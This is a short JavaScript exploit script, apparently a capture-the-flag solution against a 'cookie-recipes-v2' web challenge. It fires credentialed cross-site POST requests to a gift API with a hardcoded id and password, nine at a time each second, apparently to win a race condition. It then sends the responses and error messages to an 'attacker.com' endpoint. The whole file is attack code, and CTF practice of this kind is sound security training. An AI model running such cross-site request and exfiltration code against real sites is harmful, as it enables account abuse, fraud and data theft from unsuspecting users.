async function x(){
    fetch('https://cookie-recipes-v2.2020.redpwnc.tf/api/gift?id=9903278006668429634', {
        method: 'POST',
        credentials: 'include',
        headers: {
          'Content-Type': 'application/json',
      },
      mode : 'no-cors',
      body: JSON.stringify({'id':'9903278006668429634','password':'n3cdD3GjyjGUS8PZ3n7dvZerWiY9IRQn'})
  }).then(function(response) {
      response.status     //=> number 100–599
      response.statusText //=> String
      response.headers    //=> Headers
      response.url        //=> String
      fetch('https://attacker.com/x.php?x=ok : '+JSON.stringify(response));
      // return response.text()
  }, function(error) {
      error.message //=> String
      fetch('https://attacker.com/x.php?x='+error.message);
  })
}

var cur_color = -1;
var myInterval = setInterval(function () {
    ++cur_color;
    for (var i = 0; i < 9; i++) x();
}, 1000);